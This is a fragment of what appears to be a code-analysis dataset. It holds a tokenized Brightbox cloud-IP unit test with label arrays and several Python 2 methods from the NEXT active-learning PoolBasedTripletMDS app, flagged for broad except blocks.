"assert", "Equal_", "(_", "extra_", "[_", "'", "virtual", "\\u", "size", "'_", "]_", ",_", "1025", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "ancestor", "'_", "in_", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "licence", "\\u", "name", "'_", "in_", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bright", "box", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "cloud", "\\u", "ips_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cip", "\\u", "list_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "list", "\\u", "cloud", "\\u", "ips_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "cip", "\\u", "list_", ")_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cip", "\\u", "list_", "[_", "2_", "]_", "[_", "'", "status", "'_", "]_", ",_", "'", "mapp", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cip", "\\u", "check_", "=_", "cip", "\\u", "list_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cip", "\\u", "check_", "[_", "'", "id", "'_", "]_", ",_", "'", "cip", "-", "tl", "rp", "3", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cip", "\\u", "check_", "[_", "'", "public", "\\u", "ip", "'_", "]_", ",_", "'", "109", ".1", "0", "7.3", "5.1", "6", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "cip", "\\u", "check_", "[_", "'", "reverse", "\\u", "dns", "'_", "]_", ",_", "'", "cip", "-1", "09", "-1", "0", "7", "-", "3", "5", "-1", "6", ".", "gb", "1", ".", "bright", "box", ".", "com", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cip", "\\u", "check_", "[_", "'", "status", "'_", "]_", ",_", "'", "unmapped", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "cip", "\\u", "check_", "[_", "'", "server", "'_", "]_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "cip", "\\u", "check_", "[_", "'", "server", "\\u", "group", "'_", "]_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "cip", "\\u", "check_", "[_", "'", "interface", "'_", "]_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "cip", "\\u", "check_", "[_", "'", "load", "\\u", "balancer", "'_", "]_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 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1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Except block handles 'BaseException'
nextml/NEXT/next/apps/PoolBasedTripletMDS/PoolBasedTripletMDS.py
[ { "content": " def daemonProcess(self,exp_uid,args_json,db,ell):\n try:\n\n app_id = self.app_id\n\n log_entry = { 'exp_uid':exp_uid,'task':'daemonProcess','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.daemonProcess input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # check for the fields that must be contained in args or error occurs\n necessary_fields = ['alg_uid','daemon_args']\n for field in necessary_fields:\n try:\n args_dict[field]\n except KeyError:\n error = \"%s.daemonProcess input arguments missing field: %s\" % (self.app_id,str(field)) \n return '{}',False,error\n\n\n alg_daemon_args = args_dict['daemon_args']\n alg_uid = args_dict['alg_uid']\n alg_id,didSucceed,message = db.get(app_id+':algorithms',alg_uid,'alg_id')\n\n # get sandboxed database for the specific app_id,alg_id,exp_uid - closing off the rest of the database to the algorithm\n rc = ResourceClient(app_id,exp_uid,alg_uid,db)\n\n # get specific algorithm to make calls to \n alg = utils.get_app_alg(self.app_id,alg_id)\n\n didSucceed,dt = utils.timeit(alg.daemonProcess)(resource=rc,daemon_args_dict=alg_daemon_args)\n \n log_entry = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'daemonProcess','duration':dt,'timestamp':utils.datetimeNow() } \n log_entry_durations = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'daemonProcess','duration':dt } \n log_entry_durations.update( rc.getDurations() )\n meta = {'log_entry_durations':log_entry_durations}\n\n daemon_message = {}\n args_out = {'args':daemon_message,'meta':meta}\n response_json = json.dumps(args_out)\n\n log_entry = { 'exp_uid':exp_uid,'task':'daemonProcess','json':response_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n return response_json,True,''\n\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'daemonProcess','error':error,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.daemonProcess", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 24 }, { "content": " def initExp(self,exp_uid,args_json,db,ell):\n \"\"\"\n initialize the project and necessary experiments \n\n Expected input (in json structure with string keys):\n (int) n : number of objects\n (int) d : desired dimension (can be changed later) \n (float) failure_probability : confidence\n [optional] (list of dicts) alg_list : with fields (Defaults given by Info.get_app_default_alg_list)\n (string) alg_id : valid alg_id for this app_id\n (string) alg_label : unique identifier for algorithm (e.g. may have experiment with repeated alg_id's, but alg_labels must be unqiue, will also be used for plot legends\n [optional] (string) test_alg_label : must be one of the alg_label's in alg_list (Default is self)\n [optional] (dict) params : algorithm-specific parameters\n [optional] (dict) algorithm_management_settings : dictionary with fields (string) 'mode' and (dict) 'params'. mode in {'pure_exploration','explore_exploit','fixed_proportions'}. Default is 'fixed_proportions' and allocates uniform probability to each algorithm. If mode=fixed_proportions then params is a dictionary that contains the field 'proportions' which is a list of dictionaries with fields 'alg_label' and 'proportion' for all algorithms in alg_list. All proportions must be positive and sum to 1 over all algs in alg_list \n [optional] (string) participant_to_algorithm_management : in {'one_to_one','one_to_many'}. Default is 'one_to_many'.\n [optional] (string) instructions\n [optional] (string) debrief\n [optional] (int) num_tries\n \"\"\"\n\n try:\n app_id = self.app_id\n\n # remove any reminants of an experiment if it exists\n didSucceed,message = db.delete_docs_with_filter('experiments_admin',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':experiments',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':queries',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':participants',{'exp_uid':exp_uid})\n didSucceed,message = db.delete_docs_with_filter(app_id+':algorithms',{'exp_uid':exp_uid})\n \n didSucceed,message = ell.delete_logs_with_filter(app_id+':APP-CALL',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':APP-RESPONSE',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':APP-EXCEPTION',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':ALG-DURATION',{'exp_uid':exp_uid})\n didSucceed,message = ell.delete_logs_with_filter(app_id+':ALG-EVALUATION',{'exp_uid':exp_uid})\n\n # add indexes (only adds them if they do not already exist)\n didSucceed,message = db.ensure_index('experiments_admin',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':experiments',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'query_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'alg_uid':1})\n didSucceed,message = db.ensure_index(app_id+':queries',{'participant_uid':1})\n didSucceed,message = db.ensure_index(app_id+':participants',{'participant_uid':1})\n didSucceed,message = db.ensure_index(app_id+':participants',{'exp_uid':1})\n didSucceed,message = db.ensure_index(app_id+':algorithms',{'alg_uid':1})\n didSucceed,message = db.ensure_index(app_id+':algorithms',{'exp_uid':1})\n\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-CALL',{'exp_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-RESPONSE',{'exp_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':APP-EXCEPTION',{'exp_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'alg_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'exp_uid':1,'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-DURATION',{'alg_uid':1,'task':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'exp_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'alg_uid':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'timestamp':1})\n didSucceed,message = ell.ensure_index(app_id+':ALG-EVALUATION',{'exp_uid':1,'timestamp':1})\n\n import next.constants\n git_hash = next.constants.GIT_HASH\n\n db.set('experiments_admin',exp_uid,'exp_uid',exp_uid)\n db.set('experiments_admin',exp_uid,'app_id',app_id)\n db.set('experiments_admin',exp_uid,'start_date',utils.datetime2str(utils.datetimeNow()))\n\n log_entry = { 'exp_uid':exp_uid,'task':'initExp','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.initExp input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # check for the fields that must be contained in args or error occurs\n necessary_fields = ['n','d','failure_probability']\n for field in necessary_fields:\n try:\n args_dict[field]\n except KeyError:\n error = \"%s.initExp input arguments missing field: %s\" % (self.app_id,str(field)) \n return '{}',False,error\n\n n = args_dict['n']\n d = args_dict['d']\n delta = args_dict['failure_probability']\n\n # ALG LIST FORMATTING CHECK\n if 'alg_list' in args_dict:\n alg_list = args_dict['alg_list']\n supportedAlgs = utils.get_app_supported_algs(self.app_id)\n for algorithm in alg_list:\n if algorithm['alg_id'] not in supportedAlgs:\n error = \"%s.initExp unsupported algorithm '%s' in alg_list\" % (self.app_id,algorithm['alg_id'])\n return '{}',False,error\n else:\n alg_list = utils.get_app_default_alg_list(self.app_id)\n\n if 'instructions' not in args_dict:\n instructions = utils.get_app_default_instructions(app_id)\n else:\n instructions = args_dict['instructions']\n\n if 'debrief' not in args_dict:\n debrief = utils.get_app_default_instructions(app_id)\n else:\n debrief = args_dict['debrief']\n\n if 'num_tries' not in args_dict:\n num_tries = utils.get_app_default_num_tries(app_id)\n else:\n num_tries = args_dict['num_tries']\n\n # ALGORITHM_MANAGEMENT_MODE FORMATTING CHECK\n if 'algorithm_management_settings' not in args_dict:\n params = {}\n params['proportions'] = []\n for algorithm in alg_list:\n params['proportions'].append( { 'alg_label': algorithm['alg_label'] , 'proportion':1./len(alg_list)} )\n\n algorithm_management_settings = {}\n algorithm_management_settings['mode'] = 'fixed_proportions'\n algorithm_management_settings['params'] = params\n else:\n algorithm_management_settings = args_dict['algorithm_management_settings']\n\n try:\n mode = algorithm_management_settings['mode']\n params = algorithm_management_settings['params']\n except:\n error = \"%s.initExp algorithm_management_settings must be a dictionary with fields 'mode' and 'params'\" % (self.app_id)\n return '{}',False,error\n\n if mode == 'fixed_proportions':\n try:\n algorithm_proportions_list = params['proportions']\n except:\n error = \"%s.initExp algorithm_management_settings['params'] must be a dictionary with field 'proportions'\" % (self.app_id)\n return '{}',False,error\n\n # check if alg_labels are properly labeled\n for proportion_item in algorithm_proportions_list:\n proportion = proportion_item['proportion']\n target_alg_label = proportion_item['alg_label']\n target_alg_label_in_alg_list = False\n for algorithm in alg_list:\n if algorithm['alg_label']==target_alg_label:\n target_alg_label_in_alg_list = True\n if not target_alg_label_in_alg_list:\n error = \"%s.initExp algorithm_management_settings['params']['proportions'] must be a list of dictionaries, each dictionary containing the fields 'alg_label' and 'proportion'. The 'alg_label' value must be one of the alg_labels in a provided alg_list and 'proportion' must be nonnegative and sum to 1 : '%s' not in provided alg_list\" % (self.app_id,target_alg_label)\n return '{}',False,error\n\n elif mode == 'pure_exploration':\n error = \"%s.initExp Sorry, '%s' is not yet supported.\" % (self.app_id,mode)\n return '{}',False,error\n elif mode == 'explore_exploit':\n error = \"%s.initExp Sorry, '%s' is not yet supported.\" % (self.app_id,mode)\n return '{}',False,error\n else:\n error = \"%s.initExp unsupported algorithm_management_mode: '%s'. Must be in {'pure_exploration','explore_exploit','fixed_proportions'}\" % (self.app_id,algorithm_management_mode)\n return '{}',False,error\n\n # ALGORITHM_MANAGEMENT_MODE FORMATTING CHECK\n if 'participant_to_algorithm_management' not in args_dict:\n participant_to_algorithm_management = 'one_to_many'\n else:\n participant_to_algorithm_management = args_dict['participant_to_algorithm_management']\n if participant_to_algorithm_management not in ['one_to_many','one_to_one']:\n error = \"%s.initExp unsupported participant_to_algorithm_management: '%s'. Must be in {'one_to_many','one_to_one'}\" % (self.app_id,participant_to_algorithm_management)\n return '{}',False,error\n\n # assign uid to each algorithm and save it\n for algorithm in alg_list:\n alg_id = algorithm['alg_id'] \n alg_uid = utils.getNewUID()\n algorithm['alg_uid'] = alg_uid\n\n db.set(app_id+':algorithms',alg_uid,'alg_id',alg_id)\n db.set(app_id+':algorithms',alg_uid,'alg_uid',alg_uid)\n db.set(app_id+':algorithms',alg_uid,'exp_uid',exp_uid)\n \n db.set(app_id+':experiments',exp_uid,'exp_uid',exp_uid)\n db.set(app_id+':experiments',exp_uid,'app_id',app_id)\n db.set(app_id+':experiments',exp_uid,'n',n)\n db.set(app_id+':experiments',exp_uid,'d',d)\n db.set(app_id+':experiments',exp_uid,'failure_probability',delta)\n db.set(app_id+':experiments',exp_uid,'alg_list',alg_list)\n db.set(app_id+':experiments',exp_uid,'algorithm_management_settings',algorithm_management_settings)\n db.set(app_id+':experiments',exp_uid,'participant_to_algorithm_management',participant_to_algorithm_management)\n db.set(app_id+':experiments',exp_uid,'instructions',instructions)\n db.set(app_id+':experiments',exp_uid,'debrief',debrief)\n db.set(app_id+':experiments',exp_uid,'num_tries',num_tries)\n db.set(app_id+':experiments',exp_uid,'git_hash',git_hash)\n \n # now create intitialize each algorithm\n for algorithm in alg_list:\n alg_id = algorithm['alg_id'] \n alg_uid = algorithm['alg_uid']\n params = algorithm.get('params',None)\n\n # get sandboxed database for the specific app_id,alg_uid,exp_uid - closing off the rest of the database to the algorithm\n rc = ResourceClient(app_id,exp_uid,alg_uid,db)\n\n # get specific algorithm to make calls to \n alg = utils.get_app_alg(self.app_id,alg_id)\n\n # call initExp\n didSucceed,dt = utils.timeit(alg.initExp)(resource=rc,n=n,d=d,failure_probability=delta,params=params)\n\n log_entry = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'initExp','duration':dt,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':ALG-DURATION', log_entry )\n\n response_json = '{}'\n\n log_entry = { 'exp_uid':exp_uid,'task':'initExp','json':response_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n return response_json,True,''\n\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'initExp','error':error,'timestamp':utils.datetimeNow() } \n print log_entry\n ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.initExp", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 82 }, { "content": " def getQuery(self,exp_uid,args_json,db,ell):\n \"\"\"\n A request to ask the query: \"is {center} more similar to {left} or {right}?\"\n\n Expected input (in jsonstructure with string keys):\n [optional] (string) participant_uid : unique identifier of session for a participant answering questions (that is, an email address is not good enough as the participant could participate in multiple exp_uids so it would not be unique against all experiments), if key non-existant particpant_uid is assigned as exp_uid. \n \n Expected output (in json structure with string keys): \n (list) target_indices : list that stores dictionary of targets with fields:\n { \n (int) index : the index of the target of relevance\n (str) label : in {'left','right','center'} \n (int) flag : integer for algorithm's use\n }\n (str) query_uid : unique identifier of query (used to look up for processAnswer)\n \"\"\"\n\n try: \n app_id = self.app_id\n\n log_entry = { 'exp_uid':exp_uid,'task':'getQuery','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.initExp input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # get list of algorithms associated with project\n alg_list,didSucceed,message = db.get(app_id+':experiments',exp_uid,'alg_list')\n alg_label_to_alg_id = {}\n alg_label_to_alg_uid = {}\n for algorithm in alg_list:\n alg_label_to_alg_id[ algorithm['alg_label'] ] = algorithm['alg_id']\n alg_label_to_alg_uid[ algorithm['alg_label'] ] = algorithm['alg_uid']\n\n algorithm_management_settings,didSucceed,message = db.get(app_id+':experiments',exp_uid,'algorithm_management_settings')\n\n # ASSIGN ALGORITHM TO PARTICIPANT\n if 'participant_uid' in args_dict:\n participant_uid = args_dict['participant_uid']\n else:\n participant_uid = exp_uid\n\n participant_doc_exists,didSucceed,message = db.exists(app_id+':participants',participant_uid,'participant_uid')\n first_participant_query = not participant_doc_exists\n if first_participant_query:\n db.set(app_id+':participants',participant_uid,'participant_uid',participant_uid)\n db.set(app_id+':participants',participant_uid,'exp_uid',exp_uid)\n\n participant_to_algorithm_management,didSucceed,message = db.get(app_id+':experiments',exp_uid,'participant_to_algorithm_management')\n if (participant_uid==exp_uid) or (participant_to_algorithm_management=='one_to_many') or (first_participant_query):\n\n if algorithm_management_settings['mode']=='fixed_proportions':\n proportions_list = algorithm_management_settings['params']['proportions']\n prop = [ prop_item['proportion'] for prop_item in proportions_list ]\n prop_item = numpy.random.choice(alg_list,p=prop)\n else:\n raise Exception('algorithm_management_mode : '+algorithm_management_settings['mode']+' not implemented')\n\n alg_id = alg_label_to_alg_id[ prop_item['alg_label'] ] \n alg_uid = alg_label_to_alg_uid[ prop_item['alg_label'] ]\n alg_label = prop_item['alg_label']\n \n if (first_participant_query) and (participant_to_algorithm_management=='one_to_one'):\n db.set(app_id+':participants',participant_uid,'alg_id',alg_id)\n db.set(app_id+':participants',participant_uid,'alg_uid',alg_uid)\n\n elif (participant_to_algorithm_management=='one_to_one'):\n # If here, then alg_uid should already be assigned in participant doc\n alg_id,didSucceed,message = db.get(app_id+':participants',participant_uid,'alg_id')\n alg_uid,didSucceed,message = db.get(app_id+':participants',participant_uid,'alg_uid')\n else:\n raise Exception('participant_to_algorithm_management : '+participant_to_algorithm_management+' not implemented')\n\n # get sandboxed database for the specific app_id,alg_id,exp_uid - closing off the rest of the database to the algorithm\n rc = ResourceClient(app_id,exp_uid,alg_uid,db)\n\n # get specific algorithm to make calls to \n alg = utils.get_app_alg(self.app_id,alg_id)\n\n # call getQuery\n index_center,index_left,index_right,dt = utils.timeit(alg.getQuery)(resource=rc)\n\n log_entry_durations = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'getQuery','duration':dt } \n log_entry_durations.update( rc.getDurations() )\n meta = {'log_entry_durations':log_entry_durations}\n\n # create JSON query payload\n timestamp = str(utils.datetimeNow())\n query_uid = utils.getNewUID()\n query = {}\n query['query_uid'] = query_uid\n query['target_indices'] = [ {'index':index_center,'label':'center','flag':0},{'index':index_left,'label':'left','flag':0},{'index':index_right,'label':'right','flag':0} ]\n \n # save query data to database\n query_doc = {}\n query_doc.update(query)\n query_doc['participant_uid'] = participant_uid\n query_doc['alg_uid'] = alg_uid\n query_doc['exp_uid'] = exp_uid\n query_doc['alg_label'] = alg_label\n query_doc['timestamp_query_generated'] = timestamp\n for field in query_doc:\n db.set(app_id+':queries',query_uid,field,query_doc[field])\n\n args_out = {'args':query,'meta':meta}\n response_json = json.dumps(args_out)\n\n log_entry = { 'exp_uid':exp_uid,'task':'getQuery','json':response_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n return response_json,True,''\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'getQuery','error':error,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.getQuery", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 322 }, { "content": " def processAnswer(self,exp_uid,args_json,db,ell):\n \"\"\"\n reporting back the reward of pulling the arm suggested by getQuery\n\n Expected input (in json structure with string keys):\n (index) index_winner : index of the winner in (must be index of left or right target in target_indices)\n (str) query_uid : unique identifier of query\n\n Expected output (comma separated): \n if error:\n return (JSON) '{}', (bool) False, (str) error\n else:\n return (JSON) '{}', (bool) True,''\n \"\"\"\n\n try:\n app_id = self.app_id\n\n log_entry = { 'exp_uid':exp_uid,'task':'processAnswer','json':args_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-CALL', log_entry )\n\n # convert args_json to args_dict\n try:\n args_dict = json.loads(args_json)\n except:\n error = \"%s.processAnswer input args_json is in improper format\" % self.app_id\n return '{}',False,error\n\n # check for the fields that must be contained in args or error occurs\n necessary_fields = ['index_winner','query_uid']\n for field in necessary_fields:\n try:\n args_dict[field]\n except KeyError:\n error = \"%s.processAnswer input arguments missing field: %s\" % (self.app_id,str(field)) \n return '{}',False,error\n\n # get list of algorithms associated with project\n alg_list,didSucceed,message = db.get(app_id+':experiments',exp_uid,'alg_list')\n\n # get alg_id\n query_uid = args_dict['query_uid']\n alg_uid,didSucceed,message = db.get(app_id+':queries',query_uid,'alg_uid')\n if not didSucceed:\n raise Exception(\"Failed to retrieve query with query_uid=\"+query_uid)\n for algorithm in alg_list:\n if alg_uid == algorithm['alg_uid']:\n alg_id = algorithm['alg_id']\n alg_label = algorithm['alg_label']\n test_alg_label = algorithm['test_alg_label']\n num_reported_answers,didSucceed,message = db.increment(app_id+':experiments',exp_uid,'num_reported_answers_for_'+alg_uid)\n\n # get sandboxed database for the specific app_id,alg_id,exp_uid - closing off the rest of the database to the algorithm\n rc = ResourceClient(app_id,exp_uid,alg_uid,db)\n\n # get specific algorithm to make calls to \n alg = utils.get_app_alg(self.app_id,alg_id)\n\n targets,didSucceed,message = db.get(app_id+':queries',query_uid,'target_indices')\n for target in targets:\n if target['label'] == 'center':\n index_center = target['index']\n elif target['label'] == 'left':\n index_left = target['index']\n elif target['label'] == 'right':\n index_right = target['index']\n\n index_winner = args_dict['index_winner']\n\n # update query doc\n timestamp_query_generated,didSucceed,message = db.get(app_id+':queries',query_uid,'timestamp_query_generated')\n datetime_query_generated = utils.str2datetime(timestamp_query_generated)\n timestamp_answer_received = args_dict.get('meta',{}).get('timestamp_answer_received',None)\n if timestamp_answer_received == None:\n datetime_answer_received = datetime_query_generated\n else:\n datetime_answer_received = utils.str2datetime(timestamp_answer_received)\n delta_datetime = datetime_answer_received - datetime_query_generated\n round_trip_time = delta_datetime.seconds + delta_datetime.microseconds/1000000.\n response_time = float(args_dict.get('response_time',0.))\n db.set(app_id+':queries',query_uid,'response_time',response_time)\n db.set(app_id+':queries',query_uid,'network_delay',round_trip_time-response_time)\n db.set(app_id+':queries',query_uid,'index_winner',index_winner)\n q = [index_left,index_right,index_center]\n if index_winner==index_right:\n q = [index_right,index_left,index_center]\n db.set(app_id+':queries',query_uid,'q',q)\n\n # call processAnswer\n didSucceed,dt = utils.timeit(alg.processAnswer)(resource=rc,index_center=index_center,index_left=index_left,index_right=index_right,index_winner=index_winner)\n\n log_entry_durations = { 'exp_uid':exp_uid,'alg_uid':alg_uid,'task':'processAnswer','duration':dt } \n log_entry_durations.update( rc.getDurations() )\n meta = {'log_entry_durations':log_entry_durations}\n\n \n # check if we're going to evaluate this loss\n n,didSucceed,message = db.get(app_id+':experiments',exp_uid,'n')\n \n if num_reported_answers % ((n+4)/4) == 0:\n predict_id = 'get_embedding'\n params = {'alg_label':alg_label}\n predict_args_dict = {'predict_id':predict_id,'params':params}\n predict_args_json = json.dumps(predict_args_dict)\n\n db.submit_job(app_id,exp_uid,'predict',predict_args_json,ignore_result=True)\n ###############\n\n response_args_dict = {}\n args_out = {'args':response_args_dict,'meta':meta}\n response_json = json.dumps(args_out)\n\n log_entry = { 'exp_uid':exp_uid,'task':'processAnswer','json':response_json,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-RESPONSE', log_entry )\n\n return response_json,True,\"\"\n except Exception, err:\n error = traceback.format_exc()\n log_entry = { 'exp_uid':exp_uid,'task':'processAnswer','error':error,'timestamp':utils.datetimeNow() } \n ell.log( app_id+':APP-EXCEPTION', log_entry )\n return '{}',False,error", "metadata": "root.PoolBasedTripletMDS.processAnswer", "header": "['class', 'PoolBasedTripletMDS', '(', 'AppPrototype', ')', ':', '___EOS___']", "index": 443 }, { "content": " def 